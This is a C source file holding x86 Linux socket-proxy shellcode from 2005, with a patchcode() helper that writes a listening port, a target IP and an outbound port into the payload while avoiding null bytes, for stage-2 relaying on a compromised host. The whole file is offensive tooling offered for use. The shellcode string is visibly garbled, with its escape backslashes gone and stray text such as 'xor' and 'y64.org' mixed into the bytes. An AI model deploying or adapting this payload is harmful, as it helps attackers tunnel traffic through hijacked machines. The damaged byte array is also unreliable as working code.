/*---------------------------------------------------------------------------*
 *                372 byte socket-proxy shellcode                            *
 *              by Russell Sanford - xort@tty64.org                          *
 *---------------------------------------------------------------------------*
 *    filename: x86-linux-bounce-proxy.c                                     *
 *        date: 12/23/2005                                                   *
 *        info: Compiled with DTP Project.                                   *
 * discription: This is a x86-linux proxy shellcode. This is probably best   *
 * 	        used in stage 2 situations. The syntax for invoking the      *
 * 	        patchcode is as follows:                                     *
 *                                                                           *
 * 		patchcode(shellcode,31337,"11.22.33.44",80);                 *
 *                                                                           *
 * 		Where 31337 is the port to listen to on the remote host      *
 *---------------------------------------------------------------------------*/

char shellcode[] =
"xe8xffxffxffxffxc6x4ex5ex81xc6x18xfcxffxffxebx48x89xc3x6ax03x59xb0xddxcd"
"x80x56x89xdex80xccx08x6ax04x59xb0xddxcdx80x93x5exc3x89xc2x83xe0x1fxc1xea"
"x05x8dx8ex78xffxffxffx0fxabx04x91xc3x93xb0x03x8dx8ex48xf4xffxffx66xbax01"
"x08xcdx80xc3x93xb0x04x8dx8ex48xf4xffxffxcdx80xc3x8dxbexf8xfexffxffx31xc0"
"x31xc9x66xb9x01x01xf3xaax31xc0x6ax01x5bx50x53x6ax02x89xe1xb0x66xcdx80x5b"
"x5ax68x7exffxfexffx81x04x24x01x01x01x01x68 xorx81x04x24t@ttx6ax10x51x50x89"
"xe1xb0x66xcdx80xb3x04xb0x66xcdx80x5ax50x50x52x89xe1xfexc3xb0x66xcdx80x89"
"x46xfcxe8x5bxffxffxffxe8x6fxffxffxffx31xc0x6ax01x5bx50x53x6ax02x89xe1xb0"
"x66xcdx80x5bx43x5fx68y64.x81x04x24org x68needx81x04x24 jobx6ax10x51x50x89xe1"
"xb0x66xcdx80x58x89x46xf8xe8x19xffxffxffxe8x2dxffxffxffx8bx5exfcx8bx4exf8"
"x6ax01x53x51x6ax02x51x53x39xd9x7ex02x89xcbx56x43x8dx8ex78xffxffxffx31xd2"
"x31xf6x31xffxb0x8excdx80x5ex58x50x89xc2x83xe0x1fxc1xeax05x8dx8ex78xffxff"
"xffx0fxa3x04x91x73x04x59x59xebx32x58x50xe8xe5xfexffxffx58x31xffx47x83x7c"
"x24x04x02x74x02xf7xdfx01xf8xe8xe4xfexffxffx39xc0x89xc2x58x31xffx47x83x3c"
"x24x02x75x02xf7xdfx01xf8xe8xddxfexffxffx59xe2xb1xebx88";

int find_safe_offset(int INT_A) {

	int INT_B=0;
	
	do {
		INT_A -= 0x01010101;	INT_B += 0x01010101;
	}
	while ( ((INT_A & 0x000000ff) == 0) || 
		((INT_A & 0x0000ff00) == 0) || 
		((INT_A & 0x00ff0000) == 0) ||
		((INT_A & 0xff000000) == 0) );

	return INT_B;
}

void patchcode(char *shellcode, int PORT_IN, char *IP, int PORT_OUT) {
	
	int PORT_IN_A = ((ntohs(PORT_IN) << 16) + 2);
	int PORT_IN_B = find_safe_offset(PORT_IN_A);	

	int IP_A = inet_addr(IP);
	int IP_B = find_safe_offset(IP_A);

	int PORT_OUT_A = ((ntohs(PORT_OUT) << 16) + 2);
	int PORT_OUT_B = find_safe_offset(PORT_OUT_A);	

	*(int *)&shellcode[134] = (PORT_IN_A - PORT_IN_B);
	*(int *)&shellcode[141] = PORT_IN_B;

	*(int *)&shellcode[205] = (IP_A - IP_B);
	*(int *)&shellcode[212] = IP_B;
	
	*(int *)&shellcode[217] = (PORT_OUT_A - PORT_OUT_B);
	*(int *)&shellcode[224] = PORT_OUT_B;

}

// www.Syue.com [2005-12-28]